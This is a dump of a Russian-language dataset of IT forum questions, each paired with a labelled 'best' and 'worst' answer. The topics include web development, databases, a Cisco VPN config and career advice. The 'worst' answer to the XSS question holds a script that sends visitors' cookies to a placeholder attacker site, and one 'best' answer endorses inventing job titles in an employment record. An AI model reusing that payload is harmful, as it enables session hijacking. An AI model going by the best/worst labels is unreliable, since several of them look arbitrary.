pavki/hr_qa_sbs_best_bad huggingface dataset:
Вопрос: Какие имеются пути пути развития?

Лучший ответ: выучив язык - не знаю как написать на нем что-либо
лолшто?? Парень, если ты не знаешь как что-то написать - то и язык ты тоже не знаешь)) Реши для начала проблему "что", потом "как". Проще понять что-да-как на практике: поставь себе цель, например "хочу сделать собственный бложик за 3 недели", и решай эту задачу. Нельзя ответить на вопрос "как", если ты не знаешь чего хочешь.Упорно не могу читать толстенные книги
Страдай))Как научиться "фиксировать прочитанную информацию" ?
Лично я изучаю что-то новое по следующем алгоритму:
1. Читается в быстром темпе книга на 800 страниц, я не стараюсь все запомнить, листинги пробегаю очень бегло. Цель - понять, что за чем нужно, и как используется.
2. Пытаюсь написать простенькие програмульки, делающие что либо полезное, вместе с книгой.
3. Книга откладывается в длинный ящик - пользуюсь официальной документацией.
4. Изучаю существующие фреймворки.
Книги типа "чо-то там за 21 день" можешь использовать как туалетную бумагу, или что бы под ножку стола подставить.Web или Android разработка.
Попробуй И то И то. Я не говорю стань ас-ом, попробуй. Вот эта картинка четко показывает, как все происходит на самом делеПоглядываю в сторону MEAN stack, есть ли какие-то книги...
"Новое" и "книги" - это не совсем совместимые вещи)) Привыкай учиться по статьям и документациям вообще постоянно, это не так стремно, как звучит.

Худший ответ: По второму пункту - если не знаете, какие проекты делать, попробуйте делать учебные по всевозможным туториалам, которых предостаточно в инете. Хоть какая-то практика
Вопрос: Какую запись в трудовой лучше сделать веб-разработчику?

Лучший ответ: Можно не ограничиваться одной записью. Если вы в компании работаете давно и к вам там хорошо относятся, можно сделать несколько записей начиная с помощника системного администратора и уже заканчивая руководителем IT отдела. Это кстати будет характеризовать вас как целеустремленного сотрудника.

Фактическое наличие или отсутствие какого то ни было отдела ни каким образом не ограничивает формулировки должностей в трудовой, так что смело можете писать любую должность.

Худший ответ: Никого реально не волнует красивость формулировки в трудовой. Трудовые вообще отменять собираются… lenta.ru/news/2011/08/04/trud/
Вопрос: Как сниффером отловить запросы?

Лучший ответ: > ведь там не php (post, get)
Там не HTTP (POST, GET).
> Как тогда узнать что и куда, а потом использовать это в php.
Для вас пока никак. Для меня и то пока никак. А для вас и тем более. 
Сначала нужно научиться с HTTP полноценно работать (там, где он применяется), затем углубиться до уровня TCP (HTTP и другие протоколы основаны на нем), научиться работать с голым TCP, тогда можно будет освоить различные другие протоколы, которые не HTTP, но тоже основаны на TCP (например, XMPP - там TCP + шифрование).
Но для вайбера, боюсь, придется спуститься еще глубже, до уровня протокола IP. Вот тогда вы освоите дзен и у вас хватит кармы, чтобы побороть долбаных вайберо-буржуев и вскрыть протокол вайбера - VoIP.
Естественно, все это на практике и только на практике. HTTP для 99.99% всех сайтов (соцсетей и т.д.), TCP для сайтов с NodeJS+socket.io (еще RTMP - для сайтов с Adobe Flash'евскими решениями, обычно это сайты с порно по вебке), XMPP для Jabber и еще некоторых мессенджеров и т.д.
Словом, практика разработки ботов нужна такая, что без слов, производных от мата, я ее масштабы и вообще всю эту ситуацию описать не могу. Без мата могу только пожелать удачи.

Худший ответ: Судя по всему на компе стоит эмулятор? 
Ну и в чем проблема? Запустите снифер, потом эмулятор и нужную программу. Поработайте.
Получите пачку запросов и анализируйте их, что и куда посылается.
И то что не php и подобное... Запросы то POST и GET посылаются, ну и шлите тоже самое на удобном языке...
Вопрос: SELECT WHERE IN: Подскажите оптимальный вариант взаимодействия PHP — MySQL

Лучший ответ: >в статьях про архитектуру высоконагруженных систем (например, таких как twitter)
пока у вас нет нагрузок как у Твиттера, не делайте так. только усложните себе жизнь, написанием своих собственных джойнов на php

Худший ответ: Я за вариант 2. если нет варианта 3.
Вариант 1 может иногда не работать из-за попадания на лимиты:

можно попасть на 2 лимита
1. превышение максимальной длины запроса
2. превышение максимального количества параметров в IN. да, там тоже есть ограничения

Ограничения есть не только в мускуле, но и в оракле, постргессе и других БД.

Вариант 2 ещё к тому же и тормознутый, если у нас много записей во внешнем запросе.

Простые запросы будут работать быстрее:
select * from table1,table2 where условия 
или запрос через 
join 
select * from table1 join table2 on условие where условия 

какие из них, будет работать быстрее смотрите сами. Настройки БД подпиливаются под данные и под запросы, которые будут исполняться на этих данных.
Вопрос: Какое быстрое образование программиста для корочки выбрать?

Лучший ответ: Посмотрите в сторону, Московский технологический университет ВТУ, у них и удалёнка есть. Два года и вы магистр ) Вам же корочку )

Худший ответ: а он признается вообще где-либо? 
надо еще от системы эвалюации дипломов конкретной страны плясать
Вопрос: По проектам на GitHub?

Лучший ответ: А вы спросите у авторов, какая лицензия. И спросите себя, под какой лицензией ваш код.

Худший ответ: Может, лучше спросить напрямую у авторов кода, чем на хабре (при этом без какой-либо конкретики)?
Вопрос: Выпадающее горизонтально меню

Лучший ответ: вместо top используйте padding или margin

Худший ответ: Подозреваю, что у вас .dropdown не явлется потомком элемента, для которого прописан :hover, или что-то в этом духе. Попробуйте посмотреть, как работает примерно то, что вы хотите.
Вопрос: Что шустрее: Win7 или Win8.1?

Лучший ответ: Каждая следующая версия продуктов корпорации Microsoft работает в полтора раза медленней предыдущей. 
P.S. Согласно закону Мура, вычислительная мощность компьютеров удваивается каждые 18 месяцев.  С какой скоростью корпорация Microsoft должна выпускать новые версии, чтобы пользователи не заметили действия закона Мура?

Худший ответ: Я, например, при выборе ОС руководствовался стабильностью драйверов. Под мой ноутбук (Lenovo g580) самыми стабильными оказались драйвера для win8.1
Вопрос: Xerox WorkCentre 3210 как избавиться от задержки при копировании?

Лучший ответ: на Xerox 3220 подобное поведение заправщики связывали с прошивкой, которая позволяла работать с картриджами без чипов (заправленными).
При установке оригинального нового картриджа проблема обычно пропадала.
Второй вариант который они предлагали(в случае если новый картридж вдруг не поможет) - перепрошивка (лучше, естессно, силами сервиса или обслуживающей организации)
Ну и третий вариант - проблемы с внутренней памятью - везти в сервис.

Худший ответ: сервисный центр.
Вопрос: Не работает VPN PPTP на Cisco 871 — какие я допустил ошибки?

Лучший ответ: Адрес pptp сервера совпадает с адресом remote peer, и при установке PPP соединения добавляется соответствующий "С" маршрут на PPP интерфейс, решение: "no peer neighbor-route"  т.к данный адрес мы получаем через WAN.

Худший ответ: Ivan:  Посмотрите новый конфиг version 15.0
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
service internal
!
hostname router-hma
!
boot-start-marker
boot-end-marker
!
no logging buffered
!
no aaa new-model
!
crypto pki trustpoint TP-self-signed-2657071675
 enrollment selfsigned
 subject-name cn=IOS-Self-Signed-Certificate-2657071675
 revocation-check none
 rsakeypair TP-self-signed-2657071675
!
!
dot11 syslog
ip source-route
no ip gratuitous-arps
no ip dhcp use vrf connected
ip dhcp excluded-address 192.168.1.1 192.168.1.210
!
ip dhcp pool LOCAL
   network 192.168.1.0 255.255.255.0
   default-router 192.168.1.100
   dns-server 193.238.131.93
!
!
ip cef
ip inspect WAAS flush-timeout 10
ip domain name mydomain
!
!
vpdn enable
!
vpdn-group 1
 description pptp
 request-dialin
  protocol pptp
  pool-member 1
 initiate-to ip<b> 176.116.153.18</b>
!
!
!
archive
 log config
  hidekeys
!
no spanning-tree vlan 1
no spanning-tree vlan 2
username LOGIN privilege 15 secret 5 $PASS
username LOGIN privilege 15 password 7 PASS
username LOGIN privilege 15 password 7 PASS
!
!
ip ssh version 1
!
!
!
!
!
!
!
interface FastEthernet0
!
interface FastEthernet1
!
interface FastEthernet2
!
interface FastEthernet3
!
interface FastEthernet4
 description $ETH-WAN$
 ip address dhcp
 ip nat outside
 ip nat enable
 ip virtual-reassembly
 duplex auto
 speed auto
!
interface Vlan1
 description $ETH-SW-LAUNCH$$INTF-INFO-HWIC 4ESW$
 ip address 192.168.1.100 255.255.255.0
 ip nat inside
 ip nat enable
 ip virtual-reassembly
!
interface Dialer0
 mtu 1450
 ip address negotiated
 ip virtual-reassembly
 encapsulation ppp
 dialer pool 1
 dialer remote-name 123
 dialer idle-timeout 0
 dialer string 123
 dialer persistent
 dialer vpdn
 dialer-group 1
 ppp pfc local request
 ppp pfc remote apply
 ppp encrypt mppe auto
 ppp chap hostname LOGIN
 ppp chap password 7 PASS
 ppp ipcp dns request
 no cdp enable
!
ip default-gateway 192.168.1.100
no ip forward-protocol nd
ip http server
ip http authentication local
ip http secure-server
!
ip dns server
ip nat inside source route-map nonat interface FastEthernet4 overload
ip route 192.168.0.0 255.255.0.0 FastEthernet4 dhcp
ip route 176.116.153.18 255.255.255.255 FastEthernet4 dhcp
!
ip access-list standard INSIDE_NAT
 permit 192.168.1.0 0.0.0.255
!
logging origin-id hostname
logging server-arp
access-list 23 permit 192.168.0.0 0.0.0.255
dialer-list 1 protocol ip permit
no cdp run

!
!
!
!
control-plane
!
!
line con 0
 logging synchronous
 no modem enable
line aux 0
line vty 0 4
 access-class 23 in
 exec-timeout 60 0
 privilege level 15
 password 7 PASS
 logging synchronous
 login local
 transport input ssh
!
scheduler max-task-time 5000
ntp server 67.215.65.132
ntp server 91.236.251.12
end
Вопрос: Как проверить XSS уязвимость?

Лучший ответ: Отписал в поддержку Яндекса, в общем все равно что-то да выполняется, это же плохо.

Худший ответ: Выполняется в GET запросе? Подставляем вместо алерта
<script>
document.location="http://yoursite.com/hack.php?cookie=" + document.cookie;document.location="http://www.site.com"
</script>

Где hack.php — наш простенький скрипт по сохранению кукисов. Шлем ссылку, угоняем куки.
Вопрос: Где бы взять кучку аватарок?

Лучший ответ: Сгенерировать тыщонку-другую Identicon'ы, может быть? Реализации его есть на большинстве популярных языков.

Худший ответ: iconsearch.ru
сам пользуюсь…
Вопрос: Карьера в IT

Лучший ответ: Есть еще варианты:
Специалист – Ведущий специалист – Эксперт. 
Специалист – Ведущий специалист – Системный Архитектор.
Специалист – Ведущий специалист – Аналитик-консультант (настоящий)
Специалист – Ведущий специалист – Руководитель отдела — Начальник Управления — Директор Департамента — Член Правления
Специалист – Ведущий специалист – Владелец собственного бизнеса.

По всем этим трем у меня есть отличные примеры знакомых людей.
Первые три — получают на уровне (или больше) чем их руководители. Увлекательная работа на многие годы для тех, кому руководство не лежит к душе.

Худший ответ: Я знаю много ит специалистов которые после начальных периодов становились менеджерами, кстати из программистов всегда получаются афигенные деньгоориентированные коммерсанты!))) главное словить момент когда башню еще не снесло!))
Вопрос: Использование Composer в проекте

Лучший ответ: ничего из папки vendors не должно деплоиться, удалите её полностью из git и добавьте в игнор.

Худший ответ: А никого не смушает, что надо деплой будет проходить в результате в два этапа? (git pull и composer install)
Вот добавили вы в свой проект новый инструмент, добавили фичей, оттестировали. Время деплоя.
git pull на продакшене.
А composer возми да не сможет скачать новый инструмент (причины могут быть разные, от лагов инета, до ddos github (с которого composer попытается скачать пакеты) )
Случай может быдь редким, но если случится - можно и встрять.
Если обновления продакшена только через гит делать - это надежно. Если все скачал - развернул, если что-то недокачает, из-за инета или еще чего, то обновления не развернет.
Хочется максимально обезопасить себя от внезапных попадосов. Можно конечно и откатить коммит, если композер лег - только это не хороший вариант, когда начнут спрашивать с тебя, по какой причине задача выполнена, а на продакшене её нет.
Вопрос: Как сделать консольный логгер nodejs таким же удобным как браузерный?

Лучший ответ: Найдите node-inspector на npm, он позволяет вести отладку node.js процесса из любого webkit+v8 браузера (Chrome, Opera)

Худший ответ: Либо s-a.github.io/iron-node
Вопрос: Как объективно протестировать производительность node.js и PHP в запросах к mysql БД?

Лучший ответ: Как у нас на пхп. Пишешь строчки, выполняет по порядку. Сделал до конца одно, дальше. Как у нас с нодежс. Пишешь строчки и тоже по порядку, но не по такому порядку, как в php. К примеру у нас 2 обращения к базе. Они тоже будут идти по порядку, но почти одновременно, так как сразу после первого обращения к базе он не дожидаясь ответа обратится второй раз. Дожидаться ответа он уже будет в callback функции к обращению.
PHP - спокойный тип, который спокойно выполняет задачи и не запутывается. Nodejs - карьерист амфетаминщик, который в любое свободное время (к примеру, пока ждет ответа от той же базы) будет выполнять другие свои обязанности.

Худший ответ: Как уже писали выше нода асинхронна, поэтому получилось и быстрее. Но это не значит, что она быстрее. Просто Вы не учли эту особенность при написании теста. Как работает тест в php:
цикл - (отправить запрос - подождать результат) - вывести время работы; как работает Ваш тест на ноде - цикл - (отправить запрос) - вывести время отправки всех запросов - начать получать результаты. Т. е. function(error, result, fields){} не попадает в замер.
Вопрос: Сколько времени потребуется для изучения всего того, чтобы разработать ниже описанное приложение под Android?

Лучший ответ: Ответ в минутах написать?

Худший ответ: 1 день, 2 часа, 16 минут и 22 секунды
Вопрос: Что можно использовать для обеспечения уникальности голоса на Android / iOS?

Лучший ответ: Сверстать нормально и будет работать. А в чем собственно разница?

Худший ответ: Можно попробовать получать мобильный номер телефона или MAC адрес wi-fi карты, GSM модема...
Вопрос: Не запускается exe на другом компьютере (C# + Gtk#)?

Лучший ответ: 1) Как именно выглядит ошибка?
2) Первым делом надо запустить depends на обоих ПК (http://www.dependencywalker.com/) и смотреть, все ли в порядке с нативными зависимостями.
3) Дальше разбираемся с managed зависимостями (тот же depends, fuslogvw из http://msdn.microsoft.com/en-us/library/e74a18c4(v=vs.71).aspx)

Худший ответ: «копировать локально» уже делал это, но к сожалению не помогло.
Вопрос: Как корректно настроить SIP (Mango Office) + MikroTik + 4G LTE USB (MTS) ?

Лучший ответ: Изменился способ работы NAT, теперь у вас этим занимается тот модем, а не микроитк, соответственно либо раньше работал встроенный в MK механизм поддержки SIP (IP - FireWall - Service port), а теперь его нет, либо модем режет какое-либо соединение. Нужно крутить настройки NAT в телефонах и\или настройки NAT в свистке.

Худший ответ: Ну читаем тут :) 
www.mikrotik.by/index.php?s=9a1418512fd3428e32f56e...
Вопрос: Какие IDE не связаны с .NET Farmework?

Лучший ответ: "Например, в VS 2013 для открытия готовых .exe на другом компьютере должна быть установлена платформа Framework." - вы просто не умеете ей пользоваться. Win32Application как тип проекта + статическая линковка и EXE будет работать почти на всех виндах.

Худший ответ: Qt
сплошной сиплусплус
Вопрос: Как сделать вычитание двух файлов в perl?

Лучший ответ: Если я правильно понял вопрос. 
Пусть у нас есть два файла 1.txt и 2.txtcat 1.txt                                                                                                                                   
100
2323
2390238
32322323
9002cat 2.txt 
34
4343
434
2390238
32322323
9002
С таким содержанием. 
Теперь их можно сравнить и вычислить разницу таким образом:#!/usr/bin/env perl 
use strict;
use warnings;
use utf8;
use File::Slurp;
use Array::Utils qw(:all);

my @arr1 = read_file( '1.txt', chomp => 1 );
my @arr2 = read_file( '2.txt', chomp => 1 );

# Получилось 2 массива. 
# Теперь сравниваем их c помощью use Array::Utils qw(:all);
# И вычисляем разницу
# Получаем элементы из массива @аrr1, которые не входят в массив @arr2


my @minus = array_minus( @arr1, @arr2 );

for my $i (@minus){
        print "$i \n";
}
Результат работы:100 
2323
Теперь можно то что находится в массиве @minus записать в файл да и все.

Худший ответ: comm -23 file1 file2 , если раздумаете на перле писать.
Вопрос: Сисадмину лучше работать в компании с IT отделом или нет?

Лучший ответ: Сисадмину лучше работать

Худший ответ: Да, кстати, часто некоторые админы упираются в потолок, работают некоторое время и уходят. Тут уже как и на любой другой должности остается меньше вакансий, но и зарплата вырастает.
Вопрос: Селектор не содержит класс, как правильно написать? not hasClass?

Лучший ответ: !
(инвертируйте условие внутри if)
Можно в 1 строку: $(".tabs .tab:not(.active)").addClass("blink");

Худший ответ: Инвертировать IF через ! явно болезнь левизны))) 
Там же false  может прийти и что тогда будет значить !false ???)))
Странно, что никто не вспомнил железобетонный способif else, он и на старых джикверях пашет и сам код короче.. #обожимой!!if ($(".tabs .tab").hasClass("active")){
   //пустое место под будущую логику)))
 } else {
   $(".tab").addClass("blink");
}
Вот в одну строку:if ($(".tabs .tab").hasClass("active")){} else {$(".tab").addClass("blink");}
Вопрос: Jquery Datepicker выбор диапазона дат?

Лучший ответ: jQuery UI Datepicker подразумевает хранение в input значения даты, поэтому для выбора диапазона используется два поля input.

Худший ответ: Jquery Datepicker:
Два поля input type=«text» с id=«from» и id=«to»
Код обработки
$(function() {
 var dates = $( "#from, #to" ).datepicker({
 onSelect: function( selectedDate ) {
 var option = this.id == "from" ? "minDate" : "maxDate",
 instance = $( this ).data( "datepicker" ),
 date = $.datepicker.parseDate(
 instance.settings.dateFormat ||
 $.datepicker._defaults.dateFormat,
 selectedDate, instance.settings );
 dates.not( this ).datepicker( "option", option, date );
 }
 });
 });
По клику внутри поля вызывается календарик, если одно из полей уже выбрано- в календаре запрещен выбор дат «до» или «после» выбранной, в зависимости от того, что было выбрано первым.
Источник
Вопрос: Как бесплатно установить google maps или яндекс карты?

Лучший ответ: Использование API Карт (что Яндекс, что Гугл) запрещено в закрытых и/или коммерческих системах. Переживать, что вычислят, стоит.
Лучше использовать OpenStreetMap.

Худший ответ: Free until exceeding 25,000 map loads per 24 hours for 90 consecutive dayshttps://developers.google.com/maps/documentation/j...
У яндекса вроде тоже 25000.
Вопрос: Как сделать отчет времени?

Лучший ответ: Javascript Date и немного расчетов, логики. Вы же программист или кто?)

Худший ответ: 1 - считаем интервал времени от начала до конца   - allRange
2 - считаем интервал времени от начала до теперь - currentRange
3 - currentRange / allRange * 100 - сколько процентов времени прошло
(100 - currentRange / allRange * 100) - сколько процентов времени осталось
Вопрос: Почему так странно ведет себя Firebug

Лучший ответ: У вас в файле шаблона (до <doctype) первыми символами идет BOM (признак кодировки документа UTF-8) пересохраните документ как просто UTF-8 (без BOM), тогда проблема исчезнет.

Худший ответ: Вы бы хоть ссылочку дали посмотреть, ато по скриншотам сложней определить в чем причина
Вопрос: Как проверить, пересекаются ли 2 прямоугольных DIV`а?

Лучший ответ: Решение задачи в общем виде.
Решение задачи для ленивых.

Худший ответ: Думаю тут поможет метод offset. Отталкиваться от верхнего левого края родителя, сопоставлять ширину стикеров и родителя. Сходу сложно выдать готовое решение, надо тестить.UPD: Кстати, попробуйте использовать какой-нибудь drop плагин, в них ведь есть функционах определяющий пересечения элементов, думаю будет не сложно адаптировать к вашей задаче.
Вопрос: Таймер обратного отсчета с возможностью стилизации?

Лучший ответ: Готовых решений столько, что не знаю какой предложить:
А если хотите сами, то думаю реализация основана на setInterval(timerCalcFunc; }, 1000);

Худший ответ: countdown.js 
Часто использовал именно этот таймер. Очень легко настраивается и стилизируется. Так же можно написать сообщение, которое выведется по истечению времени таймера
Вопрос: C/C++ переход с Delphi, стоит ли?

Лучший ответ: Попробуйте вместо с/с++ питон. И системные утилиты, и работа с сетью реализуется в питоне достаточно удобно. И уйти от формошлепства можно вполне.
с/с++ после делфи покажется вам страшным из за динамики, указателей и прочего.

Худший ответ: На Delphi работа с сетью с какой версии стала вдруг невозможна?
Также, есть много компонентов для ЛЮБЫХ задач... Есть импорт C/C++ библиотек...
Можете делать все что угодно...
Вы же на этом делаете (надеюсь?))
Вопрос: A* алгоритм на java

Лучший ответ: Мне стало дурно… 

Алгоритм А* — это 8 строчек кода. Не уж то так сложно найти их в интернете.

Худший ответ: Я делал. Может где-то мог накосячить, но реализовывал полностью сам в академических целях:
vas3k.ru/blog/257/
Вопрос: Обработка ошибок?

Лучший ответ: Ексепшен выкинуть, разумеется. Пусть тот, кто вызвал с фиговыми параметрами, сам разбирается что с этим делать.

Худший ответ: Если произошла ошибка (в том числе и при поиске), то безусловно исключение (если они есть). Т.е. в случае с поиском, если найти не можем из-за ошибки соединения с БД или некорректных условий поиска.
А если найти не можем из-за того, что элемента нет и это нормальная штатная ситуация, то использовать специальное возвращаемое значение. В языках с динамической типизацией это как правило None, null или подобный тип. Если None может храниться в коллекции и является допустимым возвращаемым значением, то, например в питоне, часто создают класс с именем тип NotFoundError и возвращают тип класса. Он гарантированно не является валидным значением.
В языках со статической типизацией используют либо что-то вроде boost::optional т.е. структуры из значения и флага, либо возвращают указатель/итератор для которого есть специальное пустое значение.
Вопрос: Как избавиться от переноса float, если заведомо не известна ширина блока?

Лучший ответ: Не понятно что вам нужно, но судя по упоминанию float вам к display: flex

Худший ответ: Не пробовали для родительского блока поставить display:table; а для внутренних элементов поставить display:table-cell; ?
Вопрос: Проживет ли 1150 сокет еще?

Лучший ответ: думаю новых хороших проциков на нее уже не будет..

Худший ответ: При текущем курсе бакса думаю он с нами на долго. Плюс рынок бу ...
PS
AMD наше все :-D
Вопрос: где искать инвесторов (посевные инвестиции)?

Лучший ответ: Я проходил через такие поиски.
Советую не тратить на них время, а собрать команду бесплатных единомышленников.
У меня получилось, слава Богу. Хотя мне и казалось вначале, что это нереально.

Мой проект сейчас привлек инвестицию и работает в акселераторе.

Но никто не будет инвестировать в стартап «под слайды», если там даже нет команды.

Если интересно и нужно — могу вне этого треда рассказать свой опыт и дать пару советов.

Худший ответ: Кстати, с Морейнисом тоже довелось пообщаться. Не так уж и сложно было туда попасть…
Вопрос: Debian как «Национальная ОС»

Лучший ответ: Чтоб два раза не вставать — давайте и законы в github коммитить.
А по теме — мешает отсутствие грандиозной работы чтобы распилить бюджет. Если не ОС, то хоть бы офис написать свой национальный, главное чтобы с нуля :)

Худший ответ: А, собственно, зачем нужна эта «национальная ос»? 
ОС из редмонда никто национальной, емнип, не объявлял, однако ж все пользуются. Не в статусе дело.

зы. по поводу кодеков: с подключением репозитория www.deb-multimedia.org техническая сторона вопроса решается.